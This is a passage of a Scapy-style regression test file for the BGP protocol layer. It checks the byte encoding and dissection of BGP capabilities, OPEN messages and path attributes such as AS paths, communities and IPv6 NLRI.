b'\\x01\\x04\\x00\\x00\\x00\\x00'\n\n= BGPCapMultiprotocol - Instantiation with specific values (1)\nraw(BGPCapMultiprotocol(afi = 1, safi = 1)) == b'\\x01\\x04\\x00\\x01\\x00\\x01'\n\n= BGPCapMultiprotocol - Instantiation with specific values (2)\nraw(BGPCapMultiprotocol(afi = 2, safi = 1)) == b'\\x01\\x04\\x00\\x02\\x00\\x01'\n\n= BGPCapMultiprotocol - Dissection with specific values\nc = BGPCapMultiprotocol(b'\\x01\\x04\\x00\\x02\\x00\\x01')\nassert c.code == 1\nassert c.length == 4\nassert c.afi == 2\nassert c.reserved == 0\nassert c.safi == 1\n\n############################### BGPCapORFBlock ###############################\n+ BGPCapORFBlock class tests\n\n= BGPCapORFBlock - Instantiation\nraw(BGPCapORFBlock()) == b'\\x00\\x00\\x00\\x00\\x00'\n\n= BGPCapORFBlock - Instantiation with specific values (1)\nraw(BGPCapORFBlock(afi = 1, safi = 1)) == b'\\x00\\x01\\x00\\x01\\x00'\n\n= BGPCapORFBlock - Instantiation with specific values (2)\nraw(BGPCapORFBlock(afi = 2, safi = 1)) == b'\\x00\\x02\\x00\\x01\\x00'\n\n= BGPCapORFBlock - Basic dissection\nc = BGPCapORFBlock(b'\\x00\\x00\\x00\\x00\\x00')\nc.afi == 0 and c.reserved == 0 and c.safi == 0 and c.orf_number == 0\n\n= BGPCapORFBlock - Dissection with specific values\nc = BGPCapORFBlock(b'\\x00\\x02\\x00\\x01\\x00')\nc.afi == 2 and c.reserved == 0 and c.safi == 1 and c.orf_number == 0\n\n\n############################# BGPCapORFBlock.ORF ##############################\n+ BGPCapORFBlock.ORF class tests\n\n= BGPCapORFBlock.ORF - Instantiation\nraw(BGPCapORFBlock.ORFTuple()) == b'\\x00\\x00'\n\n= BGPCapORFBlock.ORF - Instantiation with specific values (1)\nraw(BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)) == b'@\\x03'\n\n= BGPCapORFBlock.ORF - Basic dissection\nc = BGPCapORFBlock.ORFTuple(b'\\x00\\x00')\nc.orf_type == 0 and c.send_receive == 0\n\n= BGPCapORFBlock.ORF - Dissection with specific values\nc = BGPCapORFBlock.ORFTuple(b'@\\x03')\nc.orf_type == 64 and c.send_receive == 3\n\n\n################################# BGPCapORF ###################################\n+ BGPCapORF class tests\n\n= BGPCapORF - Inheritance\nc = BGPCapORF()\nassert isinstance(c, BGPCapability)\n\n= BGPCapORF - Instantiation\nraw(BGPCapORF()) == b'\\x03\\x00'\n\n= BGPCapORF - Instantiation with specific values (1) \nraw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\\x03\\x07\\x00\\x01\\x00\\x01\\x01@\\x03'\n\n= BGPCapORF - Instantiation with specific values (2)\nraw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\\x03\\x0e\\x00\\x01\\x00\\x01\\x01@\\x03\\x00\\x02\\x00\\x01\\x01@\\x03'\n\n= BGPCapORF - Basic dissection\nc = BGPCapORF(b'\\x03\\x00')\nc.code == 3 and c.length == 0\n\n= BGPCapORF - Dissection with specific values\nc = BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])\nc.code == 3 and c.orf[0].afi == 1 and c.orf[0].safi == 1 and c.orf[0].entries[0].orf_type == 64 and c.orf[0].entries[0].send_receive == 3 and c.orf[1].afi == 2 and c.orf[1].safi == 1 and c.orf[1].entries[0].orf_type == 64 and c.orf[1].entries[0].send_receive == 3\n\n= BGPCapORF - Dissection\np = BGPCapORF(b'\\x03\\x07\\x00\\x01\\x00\\x01\\x01@\\x03')\nassert len(p.orf) == 1\n\n\n####################### BGPCapGracefulRestart.GRTuple #########################\n+ BGPCapGracefulRestart.GRTuple class tests\n\n= BGPCapGracefulRestart.GRTuple - Instantiation\nraw(BGPCapGracefulRestart.GRTuple()) == b'\\x00\\x00\\x00\\x00'\n\n= BGPCapGracefulRestart.GRTuple - Instantiation with specific values\nraw(BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)) == b'\\x00\\x01\\x01\\x80'\n\n= BGPCapGracefulRestart.GRTuple - Basic dissection\nc = BGPCapGracefulRestart.GRTuple(b'\\x00\\x00\\x00\\x00')\nc.afi == 0 and c.safi == 0 and c.flags == 0\n\n= BGPCapGracefulRestart.GRTuple - Dissection with specific values\nc = BGPCapGracefulRestart.GRTuple(b'\\x00\\x01\\x01\\x80')\nc.afi == 1 and c.safi == 1 and c.flags == 128\n\n\n########################### BGPCapGracefulRestart #############################\n+ BGPCapGracefulRestart class tests\n\n= BGPCapGracefulRestart - Inheritance\nc = BGPCapGracefulRestart()\nassert isinstance(c, BGPCapGracefulRestart)\n\n= BGPCapGracefulRestart - Instantiation\nraw(BGPCapGracefulRestart()) == b'@\\x02\\x00\\x00'\n\n= BGPCapGracefulRestart - Instantiation with specific values (1)\nraw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\\x06\\x00x\\x00\\x01\\x01\\x00'\n\n= BGPCapGracefulRestart - Instantiation with specific values (2)\nraw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\\x06\\x00x\\x00\\x01\\x01\\x00'\n\n= BGPCapGracefulRestart - Instantiation with specific values (3)\nraw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\\x06\\x00x\\x00\\x01\\x01\\x80'\n\n= BGPCapGracefulRestart - Instantiation with specific values (4)\nraw(BGPCapGracefulRestart(restart_time = 120, restart_flags = 0x8, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\\x06\\x80x\\x00\\x01\\x01\\x80'\n\n= BGPCapGracefulRestart - Basic dissection\nc = BGPCapGracefulRestart(b'@\\x02\\x00\\x00')\nc.code == 64 and c.restart_flags == 0 and c.restart_time == 0\n\n= BGPCapGracefulRestart - Dissection with specific values\nc = BGPCapGracefulRestart(b'@\\x06\\x80x\\x00\\x01\\x01\\x80')\nc.code == 64 and c.restart_time == 120 and c.restart_flags == 0x8 and c.entries[0].afi == 1 and c.entries[0].safi == 1 and c.entries[0].flags == 128\n\n\n############################ BGPCapFourBytesASN ###############################\n+ BGPCapFourBytesASN class tests\n\n= BGPCapFourBytesASN - Inheritance\nc = BGPCapFourBytesASN()\nassert isinstance(c, BGPCapFourBytesASN)\n\n= BGPCapFourBytesASN - Instantiation\nraw(BGPCapFourBytesASN()) == b'A\\x04\\x00\\x00\\x00\\x00'\n\n= BGPCapFourBytesASN - Instantiation with specific values (1)\nraw(BGPCapFourBytesASN(asn = 6555555)) == b'A\\x04\\x00d\\x07\\xa3'\n\n= BGPCapFourBytesASN - Instantiation with specific values (2)\nraw(BGPCapFourBytesASN(asn = 4294967295)) == b'A\\x04\\xff\\xff\\xff\\xff'\n\n= BGPCapFourBytesASN - Basic dissection\nc = BGPCapFourBytesASN(b'A\\x04\\x00\\x00\\x00\\x00')\nc.code == 65 and c.length == 4 and c.asn == 0\n\n= BGPCapFourBytesASN - Dissection with specific values\nc = BGPCapFourBytesASN(b'A\\x04\\xff\\xff\\xff\\xff')\nc.code == 65 and c.length == 4 and c.asn == 4294967295\n\n\n####################### BGPAuthenticationInformation ##########################\n+ BGPAuthenticationInformation class tests\n\n= BGPAuthenticationInformation - Instantiation\nraw(BGPAuthenticationInformation()) == b'\\x00'\n\n= BGPAuthenticationInformation - Basic dissection\nc = BGPAuthenticationInformation(b'\\x00')\nc.authentication_code == 0 and not c.authentication_data\n\n\n################################# BGPOptParam #################################\n+ BGPOptParam class tests\n\n= BGPOptParam - Instantiation\nraw(BGPOptParam()) == b'\\x02\\x00'\n\n= BGPOptParam - Instantiation with specific values (1)\nraw(BGPOptParam(param_type = 1)) == b'\\x01\\x00'\nraw(BGPOptParam(param_type = 1, param_value = BGPAuthenticationInformation())) == b'\\x01\\x00'\n\n= BGPOptParam - Instantiation with specific values (2)\nraw(BGPOptParam(param_type = 2)) == b'\\x02\\x00'\n\n= BGPOptParam - Instantiation with specific values (3)\nraw(BGPOptParam(param_type = 2, param_value = BGPCapFourBytesASN(asn = 4294967295))) == b'\\x02\\x06A\\x04\\xff\\xff\\xff\\xff'\n\n= BGPOptParam - Instantiation with specific values (4)\nraw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 127))) == b'\\x02\\x02\\x7f\\x00'\n\n= BGPOptParam - Instantiation with specific values (5)\nraw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 255))) == b'\\x02\\x02\\xff\\x00'\n\n= BGPOptParam - Basic dissection\np = BGPOptParam(b'\\x02\\x00')\np.param_type == 2 and p.param_length == 0\n\n= BGPOptParam - Dissection with specific values\np = BGPOptParam(b'\\x02\\x06A\\x04\\xff\\xff\\xff\\xff')\np.param_type == 2 and p.param_length == 6 and p.param_value[0].code == 65 and p.param_value[0].length == 4 and p.param_value[0].asn == 4294967295\n\n\n################################### BGPOpen ###################################\n+ BGPOpen class tests\n\n= BGPOpen - Instantiation\nraw(BGPOpen()) == b'\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= BGPOpen - Instantiation with specific values (1)\nraw(BGPOpen(my_as = 64501, bgp_id = \"192.0.2.1\")) == b'\\x04\\xfb\\xf5\\x00\\x00\\xc0\\x00\\x02\\x01\\x00'\n\n= BGPOpen - Instantiation with specific values (2)\nopt = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1))\nraw(BGPOpen(my_as = 64501, bgp_id = \"192.0.2.1\", opt_params = [opt])) == b'\\x04\\xfb\\xf5\\x00\\x00\\xc0\\x00\\x02\\x01\\x08\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x01'\n\n= BGPOpen - Instantiation with specific values (3)\ncap = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1))\ncapabilities = [cap]\ncap = BGPOptParam(param_value = BGPCapability(code = 128))\ncapabilities.append(cap)\ncap = BGPOptParam(param_value = BGPCapability(code = 2))\ncapabilities.append(cap)\ncap = BGPOptParam(param_value = BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi= 1, flags = 128)]))\ncapabilities.append(cap)\ncap = BGPOptParam(param_value = BGPCapFourBytesASN(asn = 64503))\ncapabilities.append(cap)\nraw(BGPOpen(my_as = 64503, bgp_id = \"192.168.100.3\", hold_time = 30, opt_params = capabilities)) == b'\\x04\\xfb\\xf7\\x00\\x1e\\xc0\\xa8d\\x03\"\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x01\\x02\\x02\\x80\\x00\\x02\\x02\\x02\\x00\\x02\\x08@\\x06\\x00x\\x00\\x01\\x01\\x80\\x02\\x06A\\x04\\x00\\x00\\xfb\\xf7'\n\n= BGPOpen - Dissection with specific values (1)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00?\\x01\\x04\\xfb\\xf7\\x00\\x1e\\xc0\\xa8d\\x03\"\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x01\\x02\\x02\\x80\\x00\\x02\\x02\\x02\\x00\\x02\\x08@\\x06\\x00x\\x00\\x01\\x01\\x80\\x02\\x06A\\x04\\x00\\x00\\xfb\\xf7')\nassert BGPHeader in m and BGPOpen in m\nassert m.len == 63\nassert m.type == BGP.OPEN_TYPE\nassert m.version == 4\nassert m.my_as == 64503\nassert m.hold_time == 30\nassert m.bgp_id == \"192.168.100.3\"\nassert m.opt_param_len == 34\nassert isinstance(m.opt_params[0].param_value, BGPCapMultiprotocol)\nassert isinstance(m.opt_params[1].param_value, BGPCapability)\nassert isinstance(m.opt_params[2].param_value, BGPCapability)\nassert isinstance(m.opt_params[3].param_value, BGPCapGracefulRestart)\n\n= BGPOpen - Dissection with specific values (2) (followed by a KEEPALIVE)\nmessages = b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00=\\x01\\x04\\xfb\\xf6\\x00\\xb4\\xc0\\xa8ze \\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x01\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x01\\x02\\x02\\x80\\x00\\x02\\x02\\x02\\x00\\x02\\x06A\\x04\\x00\\x00\\xfb\\xf6\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x04'\nm = BGP(messages)\nraw(m) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00=\\x01\\x04\\xfb\\xf6\\x00\\xb4\\xc0\\xa8ze \\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x01\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x01\\x02\\x02\\x80\\x00\\x02\\x02\\x02\\x00\\x02\\x06A\\x04\\x00\\x00\\xfb\\xf6\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x04'\n\n= BGPOpen - Dissection with specific values (3)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x8f\\x01\\x04\\xfd\\xe8\\x00\\xb4\\n\\xff\\xff\\x01r\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x84\\x02\\x06\\x01\\x04\\x00\\x19\\x00A\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x02\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x02\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x80\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x80\\x02\\x06\\x01\\x04\\x00\\x01\\x00B\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x01\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x04\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x01\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x04\\x02\\x02\\x80\\x00\\x02\\x02\\x02\\x00\\x02\\x04@\\x02\\x80x\\x02\\x02F\\x00\\x02\\x06A\\x04\\x00\\x00\\xfd\\xe8')\nassert BGPHeader in m and BGPOpen in m\n\n= BGPOpen - Dissection with specific values (4)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x8f\\x01\\x04\\xfd\\xe8\\x00\\xb4\\n\\xff\\xff\\x02r\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x84\\x02\\x06\\x01\\x04\\x00\\x19\\x00A\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x02\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x02\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x80\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x80\\x02\\x06\\x01\\x04\\x00\\x01\\x00B\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x01\\x02\\x06\\x01\\x04\\x00\\x02\\x00\\x04\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x01\\x02\\x06\\x01\\x04\\x00\\x01\\x00\\x04\\x02\\x02\\x80\\x00\\x02\\x02\\x02\\x00\\x02\\x04@\\x02\\x00x\\x02\\x02F\\x00\\x02\\x06A\\x04\\x00\\x00\\xfd\\xe8')\nassert BGPHeader in m and BGPOpen in m\n\n\n################################# BGPPAOrigin #################################\n+ BGPPAOrigin class tests\n\n= BGPPAOrigin - Instantiation\nraw(BGPPAOrigin()) == b'\\x00'\n\n= BGPPAOrigin - Instantiation with specific values\nraw(BGPPAOrigin(origin = 1)) == b'\\x01'\n\n= BGPPAOrigin - Dissection\na = BGPPAOrigin(b'\\x00')\na.origin == 0\n\n\n################################ BGPPAASPath ##################################\n+ BGPPAASPath class tests\n\n= BGPPAASPath - Instantiation\nraw(BGPPAASPath()) == b''\n\n= BGPPAASPath - Instantiation with specific values (1)\nraw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64496, 64497, 64498])])) == b'\\x02\\x03\\xfb\\xf0\\xfb\\xf1\\xfb\\xf2'\n\n= BGPPAASPath - Instantiation with specific values (2)\nraw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498])])) == b'\\x01\\x03\\xfb\\xf0\\xfb\\xf1\\xfb\\xf2'\n\n= BGPPAASPath - Instantiation with specific values (3)\nraw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498]), BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64500, 64501, 64502, 64502, 64503])])) == b'\\x01\\x03\\xfb\\xf0\\xfb\\xf1\\xfb\\xf2\\x02\\x05\\xfb\\xf4\\xfb\\xf5\\xfb\\xf6\\xfb\\xf6\\xfb\\xf7' \n\n= BGPPAASPath - Dissection (1)\na = BGPPAASPath(b'\\x02\\x03\\xfb\\xf0\\xfb\\xf1\\xfb\\xf2')\na.segments[0].segment_type == 2 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498]\n\n= BGPPAASPath - Dissection (2)\na = BGPPAASPath(b'\\x01\\x03\\xfb\\xf0\\xfb\\xf1\\xfb\\xf2\\x02\\x05\\xfb\\xf4\\xfb\\xf5\\xfb\\xf6\\xfb\\xf6\\xfb\\xf7')\na.segments[0].segment_type == 1 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498] and a.segments[1].segment_type == 2 and a.segments[1].segment_length == 5 and a.segments[1].segment_value == [64500, 64501, 64502, 64502, 64503]\n\n\n############################### BGPPANextHop ##################################\n+ BGPPANextHop class tests\n\n= BGPPANextHop - Instantiation\nraw(BGPPANextHop()) == b'\\x00\\x00\\x00\\x00'\n\n= BGPPANextHop - Instantiation with specific values\nraw(BGPPANextHop(next_hop = \"192.0.2.1\")) == b'\\xc0\\x00\\x02\\x01'\n\n= BGPPANextHop - Basic dissection\na = BGPPANextHop(b'\\x00\\x00\\x00\\x00')\na.next_hop == \"0.0.0.0\"\n\n= BGPPANextHop - Dissection with specific values\na = BGPPANextHop(b'\\xc0\\x00\\x02\\x01')\na.next_hop == '192.0.2.1'\n\n\n############################ BGPPAMultiExitDisc ##############################\n+ BGPPAMultiExitDisc class tests\n\n= BGPPAMultiExitDisc - Instantiation\nraw(BGPPAMultiExitDisc()) == b'\\x00\\x00\\x00\\x00'\n\n= BGPPAMultiExitDisc - Instantiation with specific values (1)\nraw(BGPPAMultiExitDisc(med = 4)) == b'\\x00\\x00\\x00\\x04'\n\n= BGPPAMultiExitDisc - Basic dissection\na = BGPPAMultiExitDisc(b'\\x00\\x00\\x00\\x00')\na.med == 0\n\n\n############################## BGPPALocalPref ################################\n+ BGPPALocalPref class tests\n\n= BGPPALocalPref - Instantiation\nraw(BGPPALocalPref()) == b'\\x00\\x00\\x00\\x00'\n\n= BGPPALocalPref - Instantiation with specific values (1)\nraw(BGPPALocalPref(local_pref = 110)) == b'\\x00\\x00\\x00n'\n\n= BGPPALocalPref - Basic dissection\na = BGPPALocalPref(b'\\x00\\x00\\x00n')\na.local_pref == 110\n\n\n############################## BGPPAAggregator ###############################\n+ BGPPAAggregator class tests\n\n= BGPPAAggregator - Instantiation\nraw(BGPPAAggregator()) == b'\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= BGPPAAggregator - Instantiation with specific values (1)\nraw(BGPPAAggregator(aggregator_asn = 64500, speaker_address = \"192.0.2.1\")) == b'\\xfb\\xf4\\xc0\\x00\\x02\\x01'\n\n= BGPPAAggregator - Dissection\na = BGPPAAggregator(b'\\xfb\\xf4\\xc0\\x00\\x02\\x01')\na.aggregator_asn == 64500 and a.speaker_address == \"192.0.2.1\"\n\n\n############################## BGPPACommunity ################################\n+ BGPPACommunity class tests\n\n= BGPPACommunity - Basic instantiation\nraw(BGPPACommunity()) == b'\\x00\\x00\\x00\\x00'\n\n= BGPPACommunity - Instantiation with specific value\nraw(BGPPACommunity(community = 0xFFFFFF01)) == b'\\xff\\xff\\xff\\x01'\n\n= BGPPACommunity - Dissection\na = BGPPACommunity(b'\\xff\\xff\\xff\\x01')\na.community == 0xFFFFFF01\n\n\n############################ BGPPAOriginatorID ###############################\n+ BGPPAOriginatorID class tests\n\n= BGPPAOriginatorID - Basic instantiation\nraw(BGPPAOriginatorID()) == b'\\x00\\x00\\x00\\x00'\n\n= BGPPAOriginatorID - Instantiation with specific value\nraw(BGPPAOriginatorID(originator_id = '192.0.2.1')) == b'\\xc0\\x00\\x02\\x01'\n\n= BGPPAOriginatorID - Dissection\na = BGPPAOriginatorID(b'\\xc0\\x00\\x02\\x01')\na.originator_id == \"192.0.2.1\"\n\n\n############################ BGPPAClusterList ################################\n+ BGPPAClusterList class tests\n\n= BGPPAClusterList - Basic instantiation\nraw(BGPPAClusterList()) == b''\n\n= BGPPAClusterList - Instantiation with specific values\nraw(BGPPAClusterList(cluster_list = [150000, 165465465, 132132])) == b'\\x00\\x02I\\xf0\\t\\xdc\\xcdy\\x00\\x02\\x04$'\n\n= BGPPAClusterList - Dissection\na = BGPPAClusterList(b'\\x00\\x02I\\xf0\\t\\xdc\\xcdy\\x00\\x02\\x04$')\na.cluster_list[0] == 150000 and a.cluster_list[1] == 165465465 and a.cluster_list[2] == 132132\n\n\n########################### BGPPAMPReachNLRI  ###############################\n+ BGPPAMPReachNLRI class tests\n\n= BGPPAMPReachNLRI - Instantiation\nraw(BGPPAMPReachNLRI()) == b'\\x00\\x00\\x00\\x00\\x00'\n\n= BGPPAMPReachNLRI - Instantiation with specific values (1)\nraw(BGPPAMPReachNLRI(afi=2, safi=1, nh_addr_len=16, nh_v6_addr = \"2001:db8::2\", nlri = [BGPNLRI_IPv6(prefix = \"2001:db8:2::/64\")])) == b'\\x00\\x02\\x01\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00@ \\x01\\r\\xb8\\x00\\x02\\x00\\x00'\n\n= BGPPAMPReachNLRI - Dissection (1)\na = BGPPAMPReachNLRI(b'\\x00\\x02\\x01  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x02\\x0b\\xff\\xfe~\\x00\\x00\\x00@ \\x01\\r\\xb8\\x00\\x02\\x00\\x02@ \\x01\\r\\xb8\\x00\\x02\\x00\\x01@ \\x01\\r\\xb8\\x00\\x02\\x00\\x00')\na.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == \"2001:db8::2\" and a.nh_v6_link_local == \"fe80::c002:bff:fe7e:0\" and a.reserved == 0 and a.nlri[0].prefix == \"2001:db8:2:2::/64\" and a.nlri[1].prefix == \"2001:db8:2:1::/64\" and a.nlri[2].prefix == \"2001:db8:2::/64\"\n\n= BGPPAMPReachNLRI - Dissection (2)\na = BGPPAMPReachNLRI(b'\\x00\\x02\\x01 \\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\xfa\\xc0\\x01\\x00\\x15\\xde\\x15\\x81\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\xfa\\xc0\\x01\\x00\\x15\\xde\\x15\\x81\\x00\\x06\\x04\\x05\\x08\\x04\\x10\\x03`\\x03\\x80\\x03\\xa0\\x03\\xc0\\x04\\xe0\\x05\\xf0\\x06\\xf8\\t\\xfe\\x00\\x16 \\x01<\\x08-\\x07.\\x040\\x10?\\xfe\\x10 \\x02\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff@\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17 \\x01\\x00  \\x01\\x00\\x000 \\x01\\x00\\x02\\x00\\x00  \\x01\\r\\xb8\\x1c \\x01\\x00\\x10\\x07\\xfc\\n\\xfe\\x80\\x08\\xff\\n\\xfe\\xc0\\x03 \\x03@\\x08_`\\x00d\\xff\\x9b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x08\\x01\\x07\\x02')\na.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == \"fe80::fac0:100:15de:1581\" and a.nh_v6_link_local == \"fe80::fac0:100:15de:1581\" and a.reserved == 0 and a.nlri[0].prefix == \"400::/6\" and a.nlri[1].prefix == \"800::/5\" and  raw(a.nlri[18]) == b'`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff' and a.nlri[35].prefix == \"200::/7\"\n\n\n############################# BGPPAMPUnreachNLRI #############################\n+ BGPPAMPUnreachNLRI class tests\n\n= BGPPAMPUnreachNLRI - Instantiation\nraw(BGPPAMPUnreachNLRI()) == b'\\x00\\x00\\x00'\n\n= BGPPAMPUnreachNLRI - Instantiation with specific values (1)\nraw(BGPPAMPUnreachNLRI(afi = 2, safi = 1)) == b'\\x00\\x02\\x01'\n\n= BGPPAMPUnreachNLRI - Instantiation with specific values (2)\nraw(BGPPAMPUnreachNLRI(afi = 2, safi = 1, afi_safi_specific = BGPPAMPUnreachNLRI_IPv6(withdrawn_routes = [BGPNLRI_IPv6(prefix = \"2001:db8:2::/64\")]))) == b'\\x00\\x02\\x01@ \\x01\\r\\xb8\\x00\\x02\\x00\\x00'\n\n= BGPPAMPUnreachNLRI - Dissection (1)\na = BGPPAMPUnreachNLRI(b'\\x00\\x02\\x01')\na.afi == 2 and a.safi == 1\n\n= BGPPAMPUnreachNLRI - Dissection (2)\na = BGPPAMPUnreachNLRI(b'\\x00\\x02\\x01\\x03`\\x03\\x80\\x03\\xa0\\x03\\xc0\\x04\\xe0\\x05\\xf0\\x06\\xf8\\x10 \\x02`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff@\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17 \\x01\\x00  \\x01\\x00\\x000 \\x01\\x00\\x02\\x00\\x00  \\x01\\r\\xb8\\n\\xfe\\xc0\\x07\\xfc\\n\\xfe\\x80\\x1c \\x01\\x00\\x10\\x03 \\x06\\x04\\x03@\\x08_\\x05\\x08\\x04\\x10')\na.afi == 2 and a.safi == 1 and a.afi_safi_specific.withdrawn_routes[0].prefix == \"6000::/3\" and a.afi_safi_specific.withdrawn_routes[11].prefix == \"2001::/32\" and a.afi_safi_specific.withdrawn_routes[23].prefix == \"1000::/4\"\n\n\n############################# BGPPAAS4Aggregator #############################\n+ BGPPAAS4Aggregator class tests\n\n= BGPPAAS4Aggregator - Instantiation\nraw(BGPPAAS4Aggregator()) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= BGPPAAS4Aggregator - Instantiation with specific values\nraw(BGPPAAS4Aggregator(aggregator_asn = 644566565, speaker_address = \"192.0.2.1\")) == b'&kN%\\xc0\\x00\\x02\\x01'\n\n= BGPPAAS4Aggregator - Dissection\na = BGPPAAS4Aggregator(b'&kN%\\xc0\\x00\\x02\\x01')\na.aggregator_asn == 644566565 and a.speaker_address == \"192.0.2.1\"\n\n\n############################# BGPPALargeCommunity ############################\n+ BGPPALargeCommunity class tests\n\n= BGPPALargeCommunity - Instantiation\nraw(BGPPALargeCommunity()) == b''\n\n= BGPPALargeCommunity - Instantiation with specific values\nraw(BGPPALargeCommunity(segments=BGPLargeCommunitySegment(global_administrator=161,local_data_part1=0,local_data_part2=0))) == b'\\x00\\x00\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= BGPPALargeCommunity - Dissection\na = BGPPALargeCommunity(b'\\x00\\x00\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.segments[0].global_administrator == 161 and a.segments[0].local_data_part1 == 0 and a.segments[0].local_data_part2 == 0\n\n\n################################ BGPPathAttr #################################\n+ BGPPathAttr class tests\n\n= BGPPathAttr - Instantiation\nraw(BGPPathAttr()) == b'\\x80\\x00\\x00'\n\n= BGPPathAttr - Instantiation with specific values (1)\nraw(BGPPathAttr(type_code = 1, attribute = BGPPAOrigin(origin = 0)))\n\n= BGPPathAttr - Instantiation with specific values (2)\nraw(BGPPathAttr(type_code = 2, attribute = BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64501, 64501, 64501])]))) == b'\\x80\\x02\\x08\\x02\\x03\\xfb\\xf5\\xfb\\xf5\\xfb\\xf5'\n\n= BGPPathAttr - Instantiation with specific values (3)\n\nraw(BGPPathAttr(type_code = 14, attribute = BGPPAMPReachNLRI(afi = 2, safi = 1, 